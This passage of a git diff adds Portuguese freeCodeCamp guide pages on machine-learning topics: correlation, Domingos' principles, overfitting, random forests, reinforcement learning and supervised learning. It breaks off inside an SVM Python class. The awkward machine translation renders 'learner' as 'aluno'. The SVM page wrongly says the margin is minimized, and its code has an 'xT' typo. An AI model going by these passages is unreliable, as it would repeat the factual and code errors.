+*   Há outra variável que influencia as duas variáveis ​​em exame. Isso _não_ seria um relacionamento causal. Por exemplo, o número de carros possuídos e o tamanho da casa podem ser correlacionados, mas essas duas variáveis ​​são influenciadas por outra variável: salário. Um aumento no número de carros de propriedade não influencia o tamanho da casa.
+*   Correlação poderia ser um acidente aleatório. Isso _não_ seria um relacionamento causal. Esta é a explicação para o exemplo anterior do consumo de margarina e a taxa de divórcio no Maine.
+
+No aprendizado de máquina, a correlação é suficiente para fazer um modelo preditivo. No entanto, apenas porque duas variáveis ​​estão correlacionadas, não significa que uma variável influencie a outra. Em outras palavras, embora o aprendizado de máquina possa ajudar a encontrar um relacionamento entre duas variáveis, ele não necessariamente ajuda a encontrar o motivo do relacionamento.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/data-alone-is-not-enough/index.md b/client/src/guide/portuguese/machine-learning/principles/data-alone-is-not-enough/index.md
new file mode 100644
index 0000000000..887e0c53c7
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/data-alone-is-not-enough/index.md
@@ -0,0 +1,23 @@
+---
+title: Data Alone Is not Enough
+localeTitle: Dados sozinhos não são suficientes
+---
+## Dados sozinhos não são suficientes
+
+Sem contabilizar os algoritmos de aprendizado de máquina em mudança ou outros aspectos Ao treinar o modelo, os dados por si só não são suficientes para ajudar o aluno a se sair melhor.
+
+> Cada aluno deve incorporar alguns conhecimentos ou suposições além dos dados que é dado para generalizar além dele (Domingos, 2012).
+
+O que esta afirmação está essencialmente dizendo é que se você escolher cegamente aprendiz só porque você ouviu que faz bem, coletando mais dados não necessariamente ajudá-lo em seus objetivos de aprendizado de máquina.
+
+Por exemplo, digamos que você tenha dados que dependem do tempo (por exemplo, dados da série temporal) e você quer usar um classificador binário (por exemplo, regressão logística). Coletando mais dados de séries temporais podem não ser os melhores para ajudar seu aluno. Isto é porque um classificador binário não é projetado para séries temporais.
+
+Isso não quer dizer que uma vez que você tenha escolhido o melhor algoritmo de aprendizado de máquina com base no seu problema que adicionar mais dados não é bom. Neste caso, Ajudará você.
+
+> O aprendizado de máquina não é mágico; não pode conseguir algo do nada. O que faz é obter mais de menos ... Alunos combinam conhecimento com dados para crescer programas (Domingos, 2012).
+
+#### Mais Informações:
+
+*   [Algumas coisas úteis para aprender sobre aprendizado de máquina](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   [Em Machine Learning, o que é melhor: mais dados ou melhores algoritmos?](http://www.kdnuggets.com/2015/06/machine-learning-more-data-better-algorithms.html)
+*   [No aprendizado de máquina, mais dados são sempre melhores que melhores algoritmos?](https://www.quora.com/In-machine-learning-is-more-data-always-better-than-better-algorithms/answer/Xavier-Amatriain?srid=Tds3)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/feature-engineering-is-the-key/index.md b/client/src/guide/portuguese/machine-learning/principles/feature-engineering-is-the-key/index.md
new file mode 100644
index 0000000000..780c2bc9b4
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/feature-engineering-is-the-key/index.md
@@ -0,0 +1,11 @@
+---
+title: Feature Engineering Is the Key
+localeTitle: Engenharia de recursos é a chave
+---
+## Engenharia de recursos é a chave
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/feature-engineering-is-the-key/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/index.md b/client/src/guide/portuguese/machine-learning/principles/index.md
new file mode 100644
index 0000000000..a24622e94d
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/index.md
@@ -0,0 +1,11 @@
+---
+title: Principles
+localeTitle: Princípios
+---
+## Princípios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md b/client/src/guide/portuguese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
new file mode 100644
index 0000000000..8f1875fe0f
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/intuition-fails-in-high-dimensions/index.md
@@ -0,0 +1,27 @@
+---
+title: Intuition Fails in High Dimensions
+localeTitle: A intuição falha em altas dimensões
+---
+## A intuição falha em altas dimensões
+
+#### Imagine
+
+Um plano 2D com eixos `X` e `Y` Nele você marca pontos `(1,0)` e `(0,1)` . E através deles você desenha uma linha reta. Mesmo sem olhar para a imagem abaixo, pode-se ter uma ideia de como o gráfico se pareceria.
+
+![Plano X-Y com sua linha imaginária](https://ka-perseus-graphie.s3.amazonaws.com/466568bad0126c402380ff2ea57aad004f36172b.svg)
+
+Agora vamos imaginar um plano 3D com os eixos `X` , `Y` e `Z` Através desta estrutura 3D, passa um plano que intersecta o eixo `X` em `(2, 0, 0)` , o eixo `Y` em `(0, 3, 0)` e o eixo `Z` em `(0, 0, 6)` . Tal avião é difícil de imaginar em nossas cabeças, mas se tentarmos acabaríamos com algo parecido com isso.
+
+![X-Y-Z com nosso avião](http://tutorial.math.lamar.edu/Classes/CalcIII/SurfaceArea_files/image001.gif)
+
+Com isso, conseguimos entrar no próximo dimesion. Planos em dimensões superiores a `3` são chamados de hiperplanos. Mas primeiro vamos nos dirigir exatamente para onde o quarto eixo aponta. Vamos chamá-lo de eixo `W` E semelhante aos casos anteriores de criação do novo eixo, este eixo `W` seria perpendicular aos eixos pré-existentes ( `X` , `Y` e `Z` ). Assim como `Z` era perpendicular aos eixos `X` e `Y`
+
+![Eixos X-Y-Z-W](http://eusebeia.dyndns.org/4d/vis/4d-axes.png)
+
+> É importante entender que o eixo W, como mostrado aqui, é perpendicular a todos os outros eixos de coordenadas. Podemos ser tentados a tentar apontar na direção de W, mas isso é impossível porque estamos confinados ao espaço tridimensional.
+
+Como vivemos em um mundo tridimensional, é difícil para nós compreender o mundo que tem dimensões superiores a 3. Essa é a razão pela qual nossa intuição e imaginação têm uma ajuda limitada em dimensões mais elevadas.
+
+#### Mais Informações:
+
+*   [Visualização 4D e por que é importante](http://eusebeia.dyndns.org/4d/vis/01-intro)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/its-generalization-that-counts/index.md b/client/src/guide/portuguese/machine-learning/principles/its-generalization-that-counts/index.md
new file mode 100644
index 0000000000..6dd75095ed
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/its-generalization-that-counts/index.md
@@ -0,0 +1,16 @@
+---
+title: Its Generalization That Counts
+localeTitle: Sua generalização que conta
+---
+## Sua generalização que conta
+
+O poder da aprendizagem de máquina vem de não ter que codificar ou explicitamente defina os parâmetros que descrevem seus dados de treinamento e dados não vistos. Isto é o objetivo essencial da aprendizagem de máquina: generalizar as descobertas de um aprendiz.
+
+Para testar a capacidade de generalização de um aluno, você desejará ter dados de teste separados conjunto que não é usado de forma alguma no treinamento do aluno. Isso pode ser criado por quer dividindo todo o seu conjunto de dados de treinamento em um conjunto de treinamento e teste, ou apenas coletar mais dados. Se o aluno usasse os dados encontrados no teste conjunto de dados, isso criaria uma espécie de preconceito em seu aluno para fazer melhor do que em realidade.
+
+Um método para ter uma noção de como seu aluno fará em um conjunto de dados de teste é executar o que é chamado **de validação cruzada** . Isso divide aleatoriamente o seu dados de treinamento em um determinado número de subconjuntos (por exemplo, dez subconjuntos) e deixa um subconjunto fora enquanto o aluno treina no resto. E então uma vez que o o aluno foi treinado, o conjunto de dados deixado de fora é usado para teste. este treinamento, deixando um subconjunto fora, e o teste é repetido enquanto você gira os subconjuntos.
+
+#### Mais Informações:
+
+*   [Algumas coisas úteis para aprender sobre aprendizado de máquina](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
+*   ["Como você usa o conjunto de dados de teste após a validação cruzada"](https://stats.stackexchange.com/a/153058/132399)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/learn-many-models-not-just-one/index.md b/client/src/guide/portuguese/machine-learning/principles/learn-many-models-not-just-one/index.md
new file mode 100644
index 0000000000..0a27195b8a
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/learn-many-models-not-just-one/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn Many Models not Just One
+localeTitle: Aprenda muitos modelos não apenas um
+---
+## Aprenda muitos modelos não apenas um
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/learn-many-models-not-just-one/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md b/client/src/guide/portuguese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
new file mode 100644
index 0000000000..3460fb0c80
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/learning-equals-representation-evaluation-optimization/index.md
@@ -0,0 +1,19 @@
+---
+title: Learning Equals Representation Evaluation Optimization
+localeTitle: Aprendizagem Equals Representation Evaluation Optimization
+---
+## Aprendizagem Equals Representation Evaluation Optimization
+
+O campo de aprendizado de máquina explodiu nos últimos anos e os pesquisadores desenvolveu um enorme número de algoritmos para escolher. Apesar desta grande variedade de modelos para escolher, todos eles podem ser destilados em três componentes.
+
+Os três componentes que fazem um modelo de aprendizado de máquina são representação, avaliação e otimização. Esses três são mais diretamente relacionados aprendizado supervisionado, mas também pode estar relacionado ao aprendizado não supervisionado.
+
+**Representação** - descreve como você deseja analisar seus dados. Às vezes você pode querer pensar em seus dados em termos de indivíduos (como em k vizinhos mais próximos) ou como em um gráfico (como em redes bayesianas).
+
+**Avaliação** - para fins de aprendizagem supervisionada, você precisará avaliar ou Ponha uma pontuação em quão bem seu aluno está fazendo para que ele possa melhorar. este avaliação é feita usando uma função evaulation (também conhecido como um _objectivo função_ ou _função de_ _pontuação_ ). Exemplos incluem precisão e erro quadrado.
+
+**Otimização** - usando a função de avaliação acima, você precisa encontrar o aluno com a melhor pontuação desta função de avaliação usando uma escolha de técnica de otimização. Exemplos são uma busca gulosa e uma descida gradiente.
+
+#### Mais Informações:
+
+*   [Algumas coisas úteis para aprender sobre aprendizado de máquina](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md b/client/src/guide/portuguese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
new file mode 100644
index 0000000000..9c532c64e5
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md
@@ -0,0 +1,11 @@
+---
+title: More Data Beats a Cleverer Algorithm
+localeTitle: Mais dados superam um algoritmo de Cleverer
+---
+## Mais dados superam um algoritmo de Cleverer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/more-data-beats-a-cleverer-algorithm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/overfitting-has-many-faces/index.md b/client/src/guide/portuguese/machine-learning/principles/overfitting-has-many-faces/index.md
new file mode 100644
index 0000000000..5eb2970801
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/overfitting-has-many-faces/index.md
@@ -0,0 +1,41 @@
+---
+title: Overfitting Has Many Faces
+localeTitle: Overfitting tem muitas caras
+---
+## Overfitting tem muitas caras
+
+Se um algoritmo de aprendizado se encaixa bem em um determinado conjunto de treinamento, isso não indica simplesmente uma boa hipótese. O overfitting ocorre quando a função de hipótese J (Θ) se ajusta ao seu conjunto de treinamento de forma muito próxima, com uma alta variância e baixo erro no conjunto de treinamento, embora tenha um erro de teste alto em quaisquer outros dados.
+
+Em outras palavras, overfitting occrus se o erro da hipótese medida no conjunto de dados que foi usado para treinar os parâmetros for menor do que o erro em qualquer outro conjunto de dados.
+
+### Escolhendo um grau ótimo de polinômio
+
+Escolher o grau certo de polinômio para a função de hipótese é importante para evitar o overfitting. Isso pode ser obtido testando cada grau de polinômio e observando o efeito no resultado do erro em várias partes do conjunto de dados. Assim, podemos dividir nosso conjunto de dados em 3 partes que podem ser usadas na otimização da hipótese 'teta e grau polinomial.
+
+Uma boa taxa de decomposição do conjunto de dados é:
+
+*   Conjunto de treino: 60%
+*   Validação Cruzada: 20%
+*   Conjunto de teste: 20%
+
+Os três valores de erro podem ser calculados pelo seguinte método: 1
+
+1.  Use o conjunto de treinamento para cada grau polinomial, a fim de otimizar os parâmetros em `Θ`
+2.  Use o conjunto de validação cruzada para encontrar o grau de polinômio com o menor erro
+3.  Use o conjunto de testes para estimar o erro de generalização
+
+### Formas de consertar overfitting
+
+Estas são algumas das maneiras de resolver o overfitting:
+
+1.  Obtendo mais exemplos de treinamento
+2.  Tentando um conjunto menor de recursos
+3.  Aumentando o parâmetro `λ lambda`
+
+#### Mais Informações:
+
+[Curso de Aprendizado de Máquina do Coursera](https://www.coursera.org/learn/machine-learning)
+
+### Fontes
+
+1.  [Ng, Andrew. "Aprendizado de Máquina". _Coursera_ Acessado em 29 de janeiro de 2018](https://www.coursera.org/learn/machine-learning)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/representable-does-not-imply-learnable/index.md b/client/src/guide/portuguese/machine-learning/principles/representable-does-not-imply-learnable/index.md
new file mode 100644
index 0000000000..b2b228098e
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/representable-does-not-imply-learnable/index.md
@@ -0,0 +1,11 @@
+---
+title: Representable Does not Imply Learnable
+localeTitle: Representável não implica em aprender
+---
+## Representável não implica em aprender
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/representable-does-not-imply-learnable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md b/client/src/guide/portuguese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
new file mode 100644
index 0000000000..49212fb62b
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplicity Does not Imply Accuracy
+localeTitle: Simplicidade não implica precisão
+---
+## Simplicidade não implica precisão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/simplicity-does-not-imply-accuracy/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md b/client/src/guide/portuguese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
new file mode 100644
index 0000000000..9d4161e08e
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md
@@ -0,0 +1,11 @@
+---
+title: Theoretical Guarantees Are not What They Seem
+localeTitle: Garantias teóricas não são o que parecem
+---
+## Garantias teóricas não são o que parecem
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/principles/theoretical-guarantees-are-not-what-they-seem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/random-forest/index.md b/client/src/guide/portuguese/machine-learning/random-forest/index.md
new file mode 100644
index 0000000000..b9c0f264db
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/random-forest/index.md
@@ -0,0 +1,59 @@
+---
+title: Random Forest
+localeTitle: Floresta Aleatória
+---
+## Floresta Aleatória
+
+Uma Floresta Aleatória é um grupo de árvores de decisão que toma melhores decisões como um todo do que individualmente.
+
+### Problema
+
+As árvores de decisão, por si só, são propensas a **overfitting** . Isso significa que a árvore se torna tão acostumada com os dados de treinamento que tem dificuldade em tomar decisões para dados que nunca viu antes.
+
+### Solução com Florestas Aleatórias
+
+As Florestas Aleatórias pertencem à categoria de algoritmos de **aprendizagem** de **conjuntos** . Essa classe de algoritmos usa muitos estimadores para produzir melhores resultados. Isso torna as Florestas Aleatórias geralmente **mais precisas do** que as árvores de decisão simples. Em Florestas Aleatórias, um grupo de árvores de decisão é criado. Cada árvore é **treinada em um subconjunto aleatório dos dados e um subconjunto aleatório dos recursos desses dados** . Dessa forma, a possibilidade de os estimadores se acostumarem aos dados (overfitting) é bastante reduzida, pois **cada um deles trabalha com os dados e recursos** diferentes dos outros. Este método de criar um grupo de estimadores e treiná-los em subconjuntos aleatórios de dados é uma técnica em _ensemble learning_ chamada **bagging** ou _Bootstrap AGGregatING_ . Para obter a previsão, cada uma das árvores de decisão votará na predição correta (classificação) ou obterá a média de seus resultados (regressão).
+
+### Exemplo de Boosting em Python
+
+Nesta competição, recebemos uma lista de eventos de colisão e suas propriedades. Nós iremos então prever se um decaimento τ → 3μ aconteceu nesta colisão. Este τ → 3μ é atualmente assumido pelos cientistas para não acontecer, e o objetivo desta competição foi descobrir τ → 3μ acontecendo com mais freqüência do que os cientistas atualmente podem entender. O desafio aqui foi projetar um problema de aprendizado de máquina para algo que ninguém nunca observou antes. Cientistas do CERN desenvolveram os seguintes projetos para atingir o objetivo. https://www.kaggle.com/c/flavours-of-physics/data
+
+```python
+#Data Cleaning 
+ import pandas as pd 
+ data_test = pd.read_csv("test.csv") 
+ data_train = pd.read_csv("training.csv") 
+ data_train = data_train.drop('min_ANNmuon',1) 
+ data_train = data_train.drop('production',1) 
+ data_train = data_train.drop('mass',1) 
+ 
+ #Cleaned data 
+ Y = data_train['signal'] 
+ X = data_train.drop('signal',1) 
+ 
+ #adaboost 
+ from sklearn.ensemble import AdaBoostClassifier 
+ from sklearn.tree import DecisionTreeClassifier 
+ seed = 9001 #this ones over 9000!!! 
+ boosted_tree = AdaBoostClassifier(DecisionTreeClassifier(max_depth=1), algorithm="SAMME", 
+                                  n_estimators=50, random_state = seed) 
+ model = boosted_tree.fit(X, Y) 
+ 
+ predictions = model.predict(data_test) 
+ print(predictions) 
+ #Note we can't really validate this data since we don't have an array of "right answers" 
+ 
+ #stochastic gradient boosting 
+ from sklearn.ensemble import GradientBoostingClassifier 
+ gradient_boosted_tree = GradientBoostingClassifier(n_estimators=50, random_state=seed) 
+ model2 = gradient_boosted_tree.fit(X,Y) 
+ 
+ predictions2 = model2.predict(data_test) 
+ print(predictions2) 
+```
+
+#### Mais Informações:
+
+*   [Florestas Aleatórias (Wikipedia)](https://www.wikiwand.com/en/Random_forest)
+*   [Introdução às Florestas Aleatórias - Simplificado](https://www.analyticsvidhya.com/blog/2014/06/introduction-random-forest-simplified/)
+*   [Como o algoritmo Random Forest funciona (vídeo)](https://www.youtube.com/watch?v=loNcrMjYh64)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/reinforcement-learning/index.md b/client/src/guide/portuguese/machine-learning/reinforcement-learning/index.md
new file mode 100644
index 0000000000..617c499287
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/reinforcement-learning/index.md
@@ -0,0 +1,23 @@
+---
+title: Reinforcement Learning
+localeTitle: Aprendizagem por Reforço
+---
+#### Leitura sugerida:
+
+*   http://incompleteideas.net/sutton/book/the-book-2nd.html
+
+#### Aprendizagem por Reforço
+
+Aprendizado por Reforço refere-se a um campo de Aprendizado de Máquina que se aplica a agentes que você reforça, dando-lhes recompensa e punição. Ele fornece uma boa aprendizagem gradual e pode simplificar o aprendizado do agente em tarefas em que você não pode determinar um valor de erro adequado.
+
+Exemplo: Um bot recebe uma tarefa para jogar Space Invaders, ele tenta aprender a jogá-lo interagindo com o jogo e em troca recebendo uma recompensa pelos pontos que ele marcou no final do jogo. Maior a recompensa, maiores são suas chances de fazer o mesmo jogo. Dessa forma, aprende a jogar e a jogar da melhor maneira possível.
+
+Nas indústrias, o robô usa o aprendizado de reforço profundo para escolher um dispositivo de uma caixa e colocá-lo em um contêiner. Se sucede ou falha, memoriza o objeto e ganha conhecimento e treina-se para fazer este trabalho com grande rapidez e precisão. Aprender sozinho é um tipo de aprendizagem de reforço, desde que o aprendizado esteja em dimensão positiva.
+
+## Lista de Algoritmos Comuns
+
+Q-Learning Diferença Temporal (TD) Redes Adversariais Profundas
+
+## Casos de uso:
+
+Algumas aplicações dos algoritmos de aprendizado por reforço são jogos de tabuleiro de computador (Chess, Go), mãos robóticas e carros autônomos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/stochastic-process/index.md b/client/src/guide/portuguese/machine-learning/stochastic-process/index.md
new file mode 100644
index 0000000000..e5a2d4edc7
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/stochastic-process/index.md
@@ -0,0 +1,13 @@
+---
+title: Stochastic Process
+localeTitle: Processo estocástico
+---
+## Processo estocástico
+
+Um processo estocástico é basicamente um processo não determinístico. Note que ele pode ter uma distribuição de probabilidade e pode não ser completamente aleatório. Por exemplo, o processo em que uma moeda _injusta de_ dois lados é lançada de novo e de novo. Ou, por exemplo, a direção de uma gota de água pode assumir uma superfície mais ou menos plana (o não-determinismo aqui pode surgir devido à aspereza ocasional que torna difícil determinar o caminho da gotícula).
+
+Processos estocásticos são amplamente utilizados como modelos matemáticos de sistemas e fenômenos que parecem variar de maneira aleatória. Eles têm aplicações em muitas disciplinas, incluindo as ciências naturais, como biologia, química e física, além de áreas de tecnologia e engenharia, como processamento de imagens, processamento de sinais, teoria da informação, ciência da computação, criptografia e telecomunicações. Além disso, mudanças aparentemente aleatórias nos mercados financeiros motivaram o uso extensivo de processos estocásticos nas finanças.
+
+### Mais Informações:
+
+*   [Processo estocástico](https://en.wikipedia.org/wiki/Stochastic_process)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/supervised-learning/index.md b/client/src/guide/portuguese/machine-learning/supervised-learning/index.md
new file mode 100644
index 0000000000..6be5436dde
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/supervised-learning/index.md
@@ -0,0 +1,39 @@
+---
+title: Supervised Learning
+localeTitle: Aprendizagem Supervisionada
+---
+## Aprendizagem Supervisionada
+
+Na aprendizagem supervisionada, sabemos qual deve ser a saída correta. Os problemas de aprendizagem supervisionada podem ser categorizados em regressão e classificação. Um problema de regressão é onde você mapeia a entrada para uma saída contínua. Um problema de classificação, ao contrário, é onde você mapeia (agrupa) entradas em categorias distintas.
+
+### Regressão
+
+Dados dados sobre carros usados ​​como sua milhagem, você pode prever os preços de mercado deles / delas. Como o preço é uma variável contínua, esse é um problema de regressão. Em outro exemplo, a Microsoft lançou um aplicativo da web que prevê idade com base na imagem. Novamente, como a idade é contínua, em vez de discreta ou categórica, isso também é um problema de regressão.
+
+### Classificação
+
+Os problemas de regressão acima podem ser transformados em problemas de classificação. Suponha que você queira procurar um carro usado com menos de X dólares. Então a saída seria se o carro usado se ajustasse ao preço que você definiu. Da mesma forma, a previsão de idade pode ser um problema de classificação se estivermos pensando em prever se uma foto enviada pertence a alguém com menos de 18 anos e, portanto, não devemos permitir a compra de cigarros.
+
+### Pontos de discussão:
+
+*   O que é especial sobre o aprendizado supervisionado?
+*   Em que cenário você usaria?
+*   Advertências ou armadilhas para pensar?
+*   Quais são alguns exemplos de modelos?
+
+#### Exemplo 1:
+
+> Dados dados sobre o tamanho das casas no mercado imobiliário, tentam prever seu preço.
+
+Preço em função do tamanho é uma saída contínua, então este é um problema de regressão.
+
+#### Exemplo 2:
+
+(a) Regressão - Para valores de resposta contínua. Por exemplo, dada uma foto de uma pessoa, temos que prever sua idade com base na imagem dada
+
+(b) Classificação - para valores de resposta categórica, onde os dados podem ser separados em “classes” específicas. Por exemplo, dado um paciente com um tumor, temos que prever se o tumor é maligno ou benigno.
+
+#### Leitura sugerida:
+
+*   https://en.wikipedia.org/wiki/Supervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/support-vector-machine/index.md b/client/src/guide/portuguese/machine-learning/support-vector-machine/index.md
new file mode 100644
index 0000000000..42d70ab255
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/support-vector-machine/index.md
@@ -0,0 +1,168 @@
+---
+title: Support Vector Machine
+localeTitle: Máquina de vetores de suporte
+---
+## Máquina de vetores de suporte
+
+Uma Máquina de Vetor de Suporte (SVM) é um classificador discriminativo formalmente definido por um hiperplano de separação. Em outras palavras, dados de treinamento rotulados (aprendizado supervisionado), o algoritmo gera um hiperplano ideal que categoriza novos exemplos. Isso é feito minimizando a margem entre os pontos de dados próximos ao hiperplano.
+
+![SVM vs regressão logística](https://i.imgur.com/KUeOSK3.png)
+
+Uma função de custo SVM procura aproximar a função logística com um linear por partes. Este algoritmo ML é usado para problemas de classificação e faz parte do subconjunto de algoritmos de aprendizado supervisionado.
+
+### A função de custo
+
+![Função de Custo SVM](https://i.imgur.com/SOhv2jZ.png)
+
+A função custo é usada para treinar o SVM. Minimizando o valor de J (theta), podemos garantir que o SVM seja o mais preciso possível. Na equação, as funções custo1 e custo0 referem-se ao custo para um exemplo onde y = 1 e o custo para um exemplo onde y = 0. O custo, para SVMs, é determinado pelas funções do kernel (similaridade).
+
+### Kernels
+
+Recursos polinomiais são possivelmente computacionalmente caros e podem retardar o tempo de execução com grandes conjuntos de dados. Em vez de adicionar mais recursos polinomiais, adicione "pontos de referência" com os quais você testa a proximidade de outros pontos de dados. Cada membro do conjunto de treinamento é um marco. Um kernel é a "função de similaridade" que mede a proximidade de uma entrada a um determinado marcador.
+
+### Classificador de Grandes Margens
+
+Um SVM encontrará a linha (ou hiperplano no caso mais geral) que divide os dados com a maior margem. Enquanto outliers podem influenciar a linha em uma direção, um valor C pequeno o suficiente para garantir a regularização. Essa nova regularização funciona da mesma forma com 1 / lambda, como visto na regressão linear e logística, mas aqui modificamos o componente de custo.
+
+#### Mais Informações:
+
+[Curso de ML de Andrew Ng](https://www.coursera.org/learn/machine-learning/) [Palestra de Vídeo Independente](https://www.youtube.com/watch?v=1NxnPkZM9bc) [SVM na Wikipédia](https://en.wikipedia.org/wiki/Support_vector_machine)
+
+A seguir, o código escrito para treinamento, previsão e precisão do SVM em Python. Isso é feito usando o Numpy, mas também podemos escrever usando o scikit-learn em apenas uma chamada de função.
+
+```Python
+import numpy as np 
+ 
+ 
+ class Svm (object): 
+    """" Svm classifier """ 
+ 
+    def __init__ (self, inputDim, outputDim): 
+        self.W = None 
+ 
+        # - Generate a random svm weight matrix to compute loss                 # 
+        #   with standard normal distribution and Standard deviation = 0.01.    # 
+ 
+        sigma =0.01 
+        self.W = sigma * np.random.randn(inputDim,outputDim) 
+ 
+ 
+ 
+    def calLoss (self, x, y, reg): 
+        """ 
+        Svm loss function 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: A numpy array of shape (batchSize, D). 
+        - y: A numpy array of shape (N,) where value < C. 
+        - reg: (float) regularization strength. 
+        Returns a tuple of: 
+        - loss as single float. 
+        - gradient with respect to weights self.W (dW) with the same shape of self.W. 
+        """ 
+        loss = 0.0 
+        dW = np.zeros_like(self.W) 
+ 
+        # - Compute the svm loss and store to loss variable.                        # 
+        # - Compute gradient and store to dW variable.                              # 
+        # - Use L2 regularization                                                  # 
+ 
+        #Calculating score matrix 
+        s = x.dot(self.W) 
+        #Score with yi 
+        s_yi = s[np.arange(x.shape[0]),y] 
+        #finding the delta 
+        delta = s- s_yi[:,np.newaxis]+1 
+        #loss for samples 
+        loss_i = np.maximum(0,delta) 
+        loss_i[np.arange(x.shape[0]),y]=0 
+        loss = np.sum(loss_i)/x.shape[0] 
+        #Loss with regularization 
+        loss += reg*np.sum(self.W*self.W) 
+        #Calculating ds 
+        ds = np.zeros_like(delta) 
+        ds[delta > 0] = 1 
+        ds[np.arange(x.shape[0]),y] = 0 
+        ds[np.arange(x.shape[0]),y] = -np.sum(ds, axis=1) 
+ 
+        dW = (1/x.shape[0]) * (xT).dot(ds) 
+        dW = dW + (2* reg* self.W) 
+ 
+ 
+        return loss, dW 
+ 
+    def train (self, x, y, lr=1e-3, reg=1e-5, iter=100, batchSize=200, verbose=False): 
+        """ 
+        Train this Svm classifier using stochastic gradient descent. 
+        D: Input dimension. 
+        C: Number of Classes. 
+        N: Number of example. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        - y: output data of shape (N, ) where value < C 
+        - lr: (float) learning rate for optimization. 
+        - reg: (float) regularization strength. 
+        - iter: (integer) total number of iterations. 
+        - batchSize: (integer) number of example in each batch running. 
+        - verbose: (boolean) Print log of loss and training accuracy. 
+        Outputs: 
+        A list containing the value of the loss at each training iteration. 
+        """ 
+ 
